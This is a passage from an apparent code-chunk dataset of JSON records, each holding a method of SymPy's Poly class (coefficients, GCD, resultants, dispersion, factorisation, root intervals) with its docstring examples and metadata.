'___EOS___']", "index": 1806 }, { "content": " def LC(f, order=None):\n \"\"\"\n Returns the leading coefficient of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(4*x**3 + 2*x**2 + 3*x, x).LC()\n 4\n\n \"\"\"\n if order is not None:\n return f.coeffs(order)[0]\n\n if hasattr(f.rep, 'LC'):\n result = f.rep.LC()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'LC')\n\n return f.rep.dom.to_sympy(result)", "metadata": "root.Poly.LC", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1831 }, { "content": " def TC(f):\n \"\"\"\n Returns the trailing coefficient of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**3 + 2*x**2 + 3*x, x).TC()\n 0\n\n \"\"\"\n if hasattr(f.rep, 'TC'):\n result = f.rep.TC()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'TC')\n\n return f.rep.dom.to_sympy(result)", "metadata": "root.Poly.TC", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1855 }, { "content": " def EC(f, order=None):\n \"\"\"\n Returns the last non-zero coefficient of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**3 + 2*x**2 + 3*x, x).EC()\n 3\n\n \"\"\"\n if hasattr(f.rep, 'coeffs'):\n return f.coeffs(order)[-1]\n else: # pragma: no cover\n raise OperationNotSupported(f, 'EC')", "metadata": "root.Poly.EC", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1876 }, { "content": " def coeff_monomial(f, monom):\n \"\"\"\n Returns the coefficient of ``monom`` in ``f`` if there, else None.\n\n Examples\n ========\n\n >>> from sympy import Poly, exp\n >>> from sympy.abc import x, y\n\n >>> p = Poly(24*x*y*exp(8) + 23*x, x, y)\n\n >>> p.coeff_monomial(x)\n 23\n >>> p.coeff_monomial(y)\n 0\n >>> p.coeff_monomial(x*y)\n 24*exp(8)\n\n Note that ``Expr.coeff()`` behaves differently, collecting terms\n if possible; the Poly must be converted to an Expr to use that\n method, however:\n\n >>> p.as_expr().coeff(x)\n 24*y*exp(8) + 23\n >>> p.as_expr().coeff(y)\n 24*x*exp(8)\n >>> p.as_expr().coeff(x*y)\n 24*exp(8)\n\n See Also\n ========\n nth: more efficient query using exponents of the monomial's generators\n\n \"\"\"\n return f.nth(*Monomial(monom, f.gens).exponents)", "metadata": "root.Poly.coeff_monomial", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1895 }, { "content": " def coeff(f, x, n=1, right=False):\n # the semantics of coeff_monomial and Expr.coeff are different;\n # if someone is working with a Poly, they should be aware of the\n # differences and chose the method best suited for the query.\n # Alternatively, a pure-polys method could be written here but\n # at this time the ``right`` keyword would be ignored because Poly\n # doesn't work with non-commutatives.\n raise NotImplementedError(\n 'Either convert to Expr with `as_expr` method '\n 'to use Expr\\'s coeff method or else use the '\n '`coeff_monomial` method of Polys.')", "metadata": "root.Poly.coeff", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1966 }, { "content": " def LM(f, order=None):\n \"\"\"\n Returns the leading monomial of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> Poly(4*x**2 + 2*x*y**2 + x*y + 3*y, x, y).LM()\n x**2*y**0\n\n \"\"\"\n return Monomial(f.monoms(order)[0], f.gens)", "metadata": "root.Poly.LM", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1978 }, { "content": " def EM(f, order=None):\n \"\"\"\n Returns the last non-zero monomial of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> Poly(4*x**2 + 2*x*y**2 + x*y + 3*y, x, y).EM()\n x**0*y**1\n\n \"\"\"\n return Monomial(f.monoms(order)[-1], f.gens)", "metadata": "root.Poly.EM", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 1994 }, { "content": " def LT(f, order=None):\n \"\"\"\n Returns the leading term of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> Poly(4*x**2 + 2*x*y**2 + x*y + 3*y, x, y).LT()\n (x**2*y**0, 4)\n\n \"\"\"\n monom, coeff = f.terms(order)[0]\n return Monomial(monom, f.gens), coeff", "metadata": "root.Poly.LT", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2010 }, { "content": " def ET(f, order=None):\n \"\"\"\n Returns the last non-zero term of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> Poly(4*x**2 + 2*x*y**2 + x*y + 3*y, x, y).ET()\n (x**0*y**1, 3)\n\n \"\"\"\n monom, coeff = f.terms(order)[-1]\n return Monomial(monom, f.gens), coeff", "metadata": "root.Poly.ET", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2027 }, { "content": " def max_norm(f):\n \"\"\"\n Returns maximum norm of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(-x**2 + 2*x - 3, x).max_norm()\n 3\n\n \"\"\"\n if hasattr(f.rep, 'max_norm'):\n result = f.rep.max_norm()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'max_norm')\n\n return f.rep.dom.to_sympy(result)", "metadata": "root.Poly.max_norm", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2044 }, { "content": " def l1_norm(f):\n \"\"\"\n Returns l1 norm of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(-x**2 + 2*x - 3, x).l1_norm()\n 6\n\n \"\"\"\n if hasattr(f.rep, 'l1_norm'):\n result = f.rep.l1_norm()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'l1_norm')\n\n return f.rep.dom.to_sympy(result)", "metadata": "root.Poly.l1_norm", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2065 }, { "content": " def half_gcdex(f, g, auto=True):\n \"\"\"\n Half extended Euclidean algorithm of ``f`` and ``g``.\n\n Returns ``(s, h)`` such that ``h = gcd(f, g)`` and ``s*f = h (mod g)``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> f = x**4 - 2*x**3 - 6*x**2 + 12*x + 15\n >>> g = x**3 + x**2 - 4*x - 4\n\n >>> Poly(f).half_gcdex(Poly(g))\n (Poly(-1/5*x + 3/5, x, domain='QQ'), Poly(x + 1, x, domain='QQ'))\n\n \"\"\"\n dom, per, F, G = f._unify(g)\n\n if auto and dom.has_Ring:\n F, G = F.to_field(), G.to_field()\n\n if hasattr(f.rep, 'half_gcdex'):\n s, h = F.half_gcdex(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'half_gcdex')\n\n return per(s), per(h)", "metadata": "root.Poly.half_gcdex", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2342 }, { "content": " def gcdex(f, g, auto=True):\n \"\"\"\n Extended Euclidean algorithm of ``f`` and ``g``.\n\n Returns ``(s, t, h)`` such that ``h = gcd(f, g)`` and ``s*f + t*g = h``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> f = x**4 - 2*x**3 - 6*x**2 + 12*x + 15\n >>> g = x**3 + x**2 - 4*x - 4\n\n >>> Poly(f).gcdex(Poly(g))\n (Poly(-1/5*x + 3/5, x, domain='QQ'),\n Poly(1/5*x**2 - 6/5*x + 2, x, domain='QQ'),\n Poly(x + 1, x, domain='QQ'))\n\n \"\"\"\n dom, per, F, G = f._unify(g)\n\n if auto and dom.has_Ring:\n F, G = F.to_field(), G.to_field()\n\n if hasattr(f.rep, 'gcdex'):\n s, t, h = F.gcdex(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'gcdex')\n\n return per(s), per(t), per(h)", "metadata": "root.Poly.gcdex", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2373 }, { "content": " def invert(f, g, auto=True):\n \"\"\"\n Invert ``f`` modulo ``g`` when possible.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 - 1, x).invert(Poly(2*x - 1, x))\n Poly(-4/3, x, domain='QQ')\n\n >>> Poly(x**2 - 1, x).invert(Poly(x - 1, x))\n Traceback (most recent call last):\n ...\n NotInvertible: zero divisor\n\n \"\"\"\n dom, per, F, G = f._unify(g)\n\n if auto and dom.has_Ring:\n F, G = F.to_field(), G.to_field()\n\n if hasattr(f.rep, 'invert'):\n result = F.invert(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'invert')\n\n return per(result)", "metadata": "root.Poly.invert", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2406 }, { "content": " def revert(f, n):\n \"\"\"Compute ``f**(-1)`` mod ``x**n``. \"\"\"\n if hasattr(f.rep, 'revert'):\n result = f.rep.revert(int(n))\n else: # pragma: no cover\n raise OperationNotSupported(f, 'revert')\n\n return f.per(result)", "metadata": "root.Poly.revert", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2437 }, { "content": " def subresultants(f, g):\n \"\"\"\n Computes the subresultant PRS of ``f`` and ``g``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + 1, x).subresultants(Poly(x**2 - 1, x))\n [Poly(x**2 + 1, x, domain='ZZ'),\n Poly(x**2 - 1, x, domain='ZZ'),\n Poly(-2, x, domain='ZZ')]\n\n \"\"\"\n _, per, F, G = f._unify(g)\n\n if hasattr(f.rep, 'subresultants'):\n result = F.subresultants(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'subresultants')\n\n return list(map(per, result))", "metadata": "root.Poly.subresultants", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2446 }, { "content": " def resultant(f, g, includePRS=False):\n \"\"\"\n Computes the resultant of ``f`` and ``g`` via PRS.\n\n If includePRS=True, it includes the subresultant PRS in the result.\n Because the PRS is used to calculate the resultant, this is more\n efficient than calling :func:`subresultants` separately.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> f = Poly(x**2 + 1, x)\n\n >>> f.resultant(Poly(x**2 - 1, x))\n 4\n >>> f.resultant(Poly(x**2 - 1, x), includePRS=True)\n (4, [Poly(x**2 + 1, x, domain='ZZ'), Poly(x**2 - 1, x, domain='ZZ'),\n Poly(-2, x, domain='ZZ')])\n\n \"\"\"\n _, per, F, G = f._unify(g)\n\n if hasattr(f.rep, 'resultant'):\n if includePRS:\n result, R = F.resultant(G, includePRS=includePRS)\n else:\n result = F.resultant(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'resultant')\n\n if includePRS:\n return (per(result, remove=0), list(map(per, R)))\n return per(result, remove=0)", "metadata": "root.Poly.resultant", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2471 }, { "content": " def discriminant(f):\n \"\"\"\n Computes the discriminant of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + 2*x + 3, x).discriminant()\n -8\n\n \"\"\"\n if hasattr(f.rep, 'discriminant'):\n result = f.rep.discriminant()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'discriminant')\n\n return f.per(result, remove=0)", "metadata": "root.Poly.discriminant", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2508 }, { "content": " def dispersionset(f, g=None):\n r\"\"\"Compute the *dispersion set* of two polynomials.\n\n For two polynomials `f(x)` and `g(x)` with `\\deg f > 0`\n and `\\deg g > 0` the dispersion set `\\operatorname{J}(f, g)` is defined as:\n\n .. math::\n \\operatorname{J}(f, g)\n & := \\{a \\in \\mathbb{N}_0 | \\gcd(f(x), g(x+a)) \\neq 1\\} \\\\\n & = \\{a \\in \\mathbb{N}_0 | \\deg \\gcd(f(x), g(x+a)) \\geq 1\\}\n\n For a single polynomial one defines `\\operatorname{J}(f) := \\operatorname{J}(f, f)`.\n\n Examples\n ========\n\n >>> from sympy import poly\n >>> from sympy.polys.dispersion import dispersion, dispersionset\n >>> from sympy.abc import x\n\n Dispersion set and dispersion of a simple polynomial:\n\n >>> fp = poly((x - 3)*(x + 3), x)\n >>> sorted(dispersionset(fp))\n [0, 6]\n >>> dispersion(fp)\n 6\n\n Note that the definition of the dispersion is not symmetric:\n\n >>> fp = poly(x**4 - 3*x**2 + 1, x)\n >>> gp = fp.shift(-3)\n >>> sorted(dispersionset(fp, gp))\n [2, 3, 4]\n >>> dispersion(fp, gp)\n 4\n >>> sorted(dispersionset(gp, fp))\n []\n >>> dispersion(gp, fp)\n -oo\n\n Computing the dispersion also works over field extensions:\n\n >>> from sympy import sqrt\n >>> fp = poly(x**2 + sqrt(5)*x - 1, x, domain='QQ<sqrt(5)>')\n >>> gp = poly(x**2 + (2 + sqrt(5))*x + sqrt(5), x, domain='QQ<sqrt(5)>')\n >>> sorted(dispersionset(fp, gp))\n [2]\n >>> sorted(dispersionset(gp, fp))\n [1, 4]\n\n We can even perform the computations for polynomials\n having symbolic coefficients:\n\n >>> from sympy.abc import a\n >>> fp = poly(4*x**4 + (4*a + 8)*x**3 + (a**2 + 6*a + 4)*x**2 + (a**2 + 2*a)*x, x)\n >>> sorted(dispersionset(fp))\n [0, 1]\n\n See Also\n ========\n\n dispersion\n\n References\n ==========\n\n 1. [ManWright94]_\n 2. [Koepf98]_\n 3. [Abramov71]_\n 4. [Man93]_\n \"\"\"\n from sympy.polys.dispersion import dispersionset\n return dispersionset(f, g)", "metadata": "root.Poly.dispersionset", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2529 }, { "content": " def dispersion(f, g=None):\n r\"\"\"Compute the *dispersion* of polynomials.\n\n For two polynomials `f(x)` and `g(x)` with `\\deg f > 0`\n and `\\deg g > 0` the dispersion `\\operatorname{dis}(f, g)` is defined as:\n\n .. math::\n \\operatorname{dis}(f, g)\n & := \\max\\{ J(f,g) \\cup \\{0\\} \\} \\\\\n & = \\max\\{ \\{a \\in \\mathbb{N} | \\gcd(f(x), g(x+a)) \\neq 1\\} \\cup \\{0\\} \\}\n\n and for a single polynomial `\\operatorname{dis}(f) := \\operatorname{dis}(f, f)`.\n\n Examples\n ========\n\n >>> from sympy import poly\n >>> from sympy.polys.dispersion import dispersion, dispersionset\n >>> from sympy.abc import x\n\n Dispersion set and dispersion of a simple polynomial:\n\n >>> fp = poly((x - 3)*(x + 3), x)\n >>> sorted(dispersionset(fp))\n [0, 6]\n >>> dispersion(fp)\n 6\n\n Note that the definition of the dispersion is not symmetric:\n\n >>> fp = poly(x**4 - 3*x**2 + 1, x)\n >>> gp = fp.shift(-3)\n >>> sorted(dispersionset(fp, gp))\n [2, 3, 4]\n >>> dispersion(fp, gp)\n 4\n >>> sorted(dispersionset(gp, fp))\n []\n >>> dispersion(gp, fp)\n -oo\n\n Computing the dispersion also works over field extensions:\n\n >>> from sympy import sqrt\n >>> fp = poly(x**2 + sqrt(5)*x - 1, x, domain='QQ<sqrt(5)>')\n >>> gp = poly(x**2 + (2 + sqrt(5))*x + sqrt(5), x, domain='QQ<sqrt(5)>')\n >>> sorted(dispersionset(fp, gp))\n [2]\n >>> sorted(dispersionset(gp, fp))\n [1, 4]\n\n We can even perform the computations for polynomials\n having symbolic coefficients:\n\n >>> from sympy.abc import a\n >>> fp = poly(4*x**4 + (4*a + 8)*x**3 + (a**2 + 6*a + 4)*x**2 + (a**2 + 2*a)*x, x)\n >>> sorted(dispersionset(fp))\n [0, 1]\n\n See Also\n ========\n\n dispersionset\n\n References\n ==========\n\n 1. [ManWright94]_\n 2. [Koepf98]_\n 3. [Abramov71]_\n 4. [Man93]_\n \"\"\"\n from sympy.polys.dispersion import dispersion\n return dispersion(f, g)", "metadata": "root.Poly.dispersion", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2604 }, { "content": " def cofactors(f, g):\n \"\"\"\n Returns the GCD of ``f`` and ``g`` and their cofactors.\n\n Returns polynomials ``(h, cff, cfg)`` such that ``h = gcd(f, g)``, and\n ``cff = quo(f, h)`` and ``cfg = quo(g, h)`` are, so called, cofactors\n of ``f`` and ``g``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 - 1, x).cofactors(Poly(x**2 - 3*x + 2, x))\n (Poly(x - 1, x, domain='ZZ'),\n Poly(x + 1, x, domain='ZZ'),\n Poly(x - 2, x, domain='ZZ'))\n\n \"\"\"\n _, per, F, G = f._unify(g)\n\n if hasattr(f.rep, 'cofactors'):\n h, cff, cfg = F.cofactors(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'cofactors')\n\n return per(h), per(cff), per(cfg)", "metadata": "root.Poly.cofactors", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2679 }, { "content": " def gcd(f, g):\n \"\"\"\n Returns the polynomial GCD of ``f`` and ``g``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 - 1, x).gcd(Poly(x**2 - 3*x + 2, x))\n Poly(x - 1, x, domain='ZZ')\n\n \"\"\"\n _, per, F, G = f._unify(g)\n\n if hasattr(f.rep, 'gcd'):\n result = F.gcd(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'gcd')\n\n return per(result)", "metadata": "root.Poly.gcd", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2708 }, { "content": " def lcm(f, g):\n \"\"\"\n Returns polynomial LCM of ``f`` and ``g``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 - 1, x).lcm(Poly(x**2 - 3*x + 2, x))\n Poly(x**3 - 2*x**2 - x + 2, x, domain='ZZ')\n\n \"\"\"\n _, per, F, G = f._unify(g)\n\n if hasattr(f.rep, 'lcm'):\n result = F.lcm(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'lcm')\n\n return per(result)", "metadata": "root.Poly.lcm", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2731 }, { "content": " def trunc(f, p):\n \"\"\"\n Reduce ``f`` modulo a constant ``p``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(2*x**3 + 3*x**2 + 5*x + 7, x).trunc(3)\n Poly(-x**3 - x + 1, x, domain='ZZ')\n\n \"\"\"\n p = f.rep.dom.convert(p)\n\n if hasattr(f.rep, 'trunc'):\n result = f.rep.trunc(p)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'trunc')\n\n return f.per(result)", "metadata": "root.Poly.trunc", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2754 }, { "content": " def content(f):\n \"\"\"\n Returns the GCD of polynomial coefficients.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(6*x**2 + 8*x + 12, x).content()\n 2\n\n \"\"\"\n if hasattr(f.rep, 'content'):\n result = f.rep.content()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'content')\n\n return f.rep.dom.to_sympy(result)", "metadata": "root.Poly.content", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2806 }, { "content": " def primitive(f):\n \"\"\"\n Returns the content and a primitive form of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(2*x**2 + 8*x + 12, x).primitive()\n (2, Poly(x**2 + 4*x + 6, x, domain='ZZ'))\n\n \"\"\"\n if hasattr(f.rep, 'primitive'):\n cont, result = f.rep.primitive()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'primitive')\n\n return f.rep.dom.to_sympy(cont), f.per(result)", "metadata": "root.Poly.primitive", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2827 }, { "content": " def compose(f, g):\n \"\"\"\n Computes the functional composition of ``f`` and ``g``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 + x, x).compose(Poly(x - 1, x))\n Poly(x**2 - x, x, domain='ZZ')\n\n \"\"\"\n _, per, F, G = f._unify(g)\n\n if hasattr(f.rep, 'compose'):\n result = F.compose(G)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'compose')\n\n return per(result)", "metadata": "root.Poly.compose", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2848 }, { "content": " def decompose(f):\n \"\"\"\n Computes a functional decomposition of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**4 + 2*x**3 - x - 1, x, domain='ZZ').decompose()\n [Poly(x**2 - x - 1, x, domain='ZZ'), Poly(x**2 + x, x, domain='ZZ')]\n\n \"\"\"\n if hasattr(f.rep, 'decompose'):\n result = f.rep.decompose()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'decompose')\n\n return list(map(f.per, result))", "metadata": "root.Poly.decompose", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2871 }, { "content": " def shift(f, a):\n \"\"\"\n Efficiently compute Taylor shift ``f(x + a)``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 - 2*x + 1, x).shift(2)\n Poly(x**2 + 2*x + 1, x, domain='ZZ')\n\n \"\"\"\n if hasattr(f.rep, 'shift'):\n result = f.rep.shift(a)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'shift')\n\n return f.per(result)", "metadata": "root.Poly.shift", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2892 }, { "content": " def gff_list(f):\n \"\"\"\n Computes greatest factorial factorization of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> f = x**5 + 2*x**4 - x**3 - 2*x**2\n\n >>> Poly(f).gff_list()\n [(Poly(x, x, domain='ZZ'), 1), (Poly(x + 2, x, domain='ZZ'), 4)]\n\n \"\"\"\n if hasattr(f.rep, 'gff_list'):\n result = f.rep.gff_list()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'gff_list')\n\n return [(f.per(g), k) for g, k in result]", "metadata": "root.Poly.gff_list", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2942 }, { "content": " def sqf_norm(f):\n \"\"\"\n Computes square-free norm of ``f``.\n\n Returns ``s``, ``f``, ``r``, such that ``g(x) = f(x-sa)`` and\n ``r(x) = Norm(g(x))`` is a square-free polynomial over ``K``,\n where ``a`` is the algebraic extension of the ground domain.\n\n Examples\n ========\n\n >>> from sympy import Poly, sqrt\n >>> from sympy.abc import x\n\n >>> s, f, r = Poly(x**2 + 1, x, extension=[sqrt(3)]).sqf_norm()\n\n >>> s\n 1\n >>> f\n Poly(x**2 - 2*sqrt(3)*x + 4, x, domain='QQ<sqrt(3)>')\n >>> r\n Poly(x**4 - 4*x**2 + 16, x, domain='QQ')\n\n \"\"\"\n if hasattr(f.rep, 'sqf_norm'):\n s, g, r = f.rep.sqf_norm()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'sqf_norm')\n\n return s, f.per(g), f.per(r)", "metadata": "root.Poly.sqf_norm", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2965 }, { "content": " def sqf_part(f):\n \"\"\"\n Computes square-free part of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**3 - 3*x - 2, x).sqf_part()\n Poly(x**2 - x - 2, x, domain='ZZ')\n\n \"\"\"\n if hasattr(f.rep, 'sqf_part'):\n result = f.rep.sqf_part()\n else: # pragma: no cover\n raise OperationNotSupported(f, 'sqf_part')\n\n return f.per(result)", "metadata": "root.Poly.sqf_part", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 2996 }, { "content": " def sqf_list(f, all=False):\n \"\"\"\n Returns a list of square-free factors of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> f = 2*x**5 + 16*x**4 + 50*x**3 + 76*x**2 + 56*x + 16\n\n >>> Poly(f).sqf_list()\n (2, [(Poly(x + 1, x, domain='ZZ'), 2),\n (Poly(x + 2, x, domain='ZZ'), 3)])\n\n >>> Poly(f).sqf_list(all=True)\n (2, [(Poly(1, x, domain='ZZ'), 1),\n (Poly(x + 1, x, domain='ZZ'), 2),\n (Poly(x + 2, x, domain='ZZ'), 3)])\n\n \"\"\"\n if hasattr(f.rep, 'sqf_list'):\n coeff, factors = f.rep.sqf_list(all)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'sqf_list')\n\n return f.rep.dom.to_sympy(coeff), [(f.per(g), k) for g, k in factors]", "metadata": "root.Poly.sqf_list", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 3017 }, { "content": " def sqf_list_include(f, all=False):\n \"\"\"\n Returns a list of square-free factors of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly, expand\n >>> from sympy.abc import x\n\n >>> f = expand(2*(x + 1)**3*x**4)\n >>> f\n 2*x**7 + 6*x**6 + 6*x**5 + 2*x**4\n\n >>> Poly(f).sqf_list_include()\n [(Poly(2, x, domain='ZZ'), 1),\n (Poly(x + 1, x, domain='ZZ'), 3),\n (Poly(x, x, domain='ZZ'), 4)]\n\n >>> Poly(f).sqf_list_include(all=True)\n [(Poly(2, x, domain='ZZ'), 1),\n (Poly(1, x, domain='ZZ'), 2),\n (Poly(x + 1, x, domain='ZZ'), 3),\n (Poly(x, x, domain='ZZ'), 4)]\n\n \"\"\"\n if hasattr(f.rep, 'sqf_list_include'):\n factors = f.rep.sqf_list_include(all)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'sqf_list_include')\n\n return [(f.per(g), k) for g, k in factors]", "metadata": "root.Poly.sqf_list_include", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 3046 }, { "content": " def factor_list(f):\n \"\"\"\n Returns a list of irreducible factors of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> f = 2*x**5 + 2*x**4*y + 4*x**3 + 4*x**2*y + 2*x + 2*y\n\n >>> Poly(f).factor_list()\n (2, [(Poly(x + y, x, y, domain='ZZ'), 1),\n (Poly(x**2 + 1, x, y, domain='ZZ'), 2)])\n\n \"\"\"\n if hasattr(f.rep, 'factor_list'):\n try:\n coeff, factors = f.rep.factor_list()\n except DomainError:\n return S.One, [(f, 1)]\n else: # pragma: no cover\n raise OperationNotSupported(f, 'factor_list')\n\n return f.rep.dom.to_sympy(coeff), [(f.per(g), k) for g, k in factors]", "metadata": "root.Poly.factor_list", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 3079 }, { "content": " def factor_list_include(f):\n \"\"\"\n Returns a list of irreducible factors of ``f``.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x, y\n\n >>> f = 2*x**5 + 2*x**4*y + 4*x**3 + 4*x**2*y + 2*x + 2*y\n\n >>> Poly(f).factor_list_include()\n [(Poly(2*x + 2*y, x, y, domain='ZZ'), 1),\n (Poly(x**2 + 1, x, y, domain='ZZ'), 2)]\n\n \"\"\"\n if hasattr(f.rep, 'factor_list_include'):\n try:\n factors = f.rep.factor_list_include()\n except DomainError:\n return [(f, 1)]\n else: # pragma: no cover\n raise OperationNotSupported(f, 'factor_list_include')\n\n return [(f.per(g), k) for g, k in factors]", "metadata": "root.Poly.factor_list_include", "header": "['class', 'Poly', '(', 'Expr', ')', ':', '___EOS___']", "index": 3106 }, { "content": " def intervals(f, all=False, eps=None, inf=None, sup=None, fast=False, sqf=False):\n \"\"\"\n Compute isolating intervals for roots of ``f``.\n\n For real roots the Vincent-Akritas-Strzebonski (VAS) continued fractions method is used.\n\n References:\n ===========\n 1. Alkiviadis G. Akritas and Adam W. Strzebonski: A Comparative Study of Two Real Root\n Isolation Methods . Nonlinear Analysis: Modelling and Control, Vol. 10, No. 4, 297-304, 2005.\n 2. Alkiviadis G. Akritas, Adam W. Strzebonski and Panagiotis S. Vigklas: Improving the\n Performance of the Continued Fractions Method Using new Bounds of Positive Roots. Nonlinear\n Analysis: Modelling and Control, Vol. 13, No. 3, 265-279, 2008.\n\n Examples\n ========\n\n >>> from sympy import Poly\n >>> from sympy.abc import x\n\n >>> Poly(x**2 - 3, x).intervals()\n [((-2, -1), 1), ((1, 2), 1)]\n >>> Poly(x**2 - 3, x).intervals(eps=1e-2)\n [((-26/15, -19/11), 1), ((19/11, 26/15), 1)]\n\n \"\"\"\n if eps is not None:\n eps = QQ.convert(eps)\n\n if eps <= 0:\n raise ValueError(\"'eps' must be a positive rational\")\n\n if inf is not None:\n inf = QQ.convert(inf)\n if sup is not None:\n sup = QQ.convert(sup)\n\n if hasattr(f.rep, 'intervals'):\n result = f.rep.intervals(\n all=all, eps=eps, inf=inf, sup=sup, fast=fast, sqf=sqf)\n else: # pragma: no cover\n raise OperationNotSupported(f, 'intervals')\n\n if sqf:\n def _real(interval):\n s, t = interval\n return 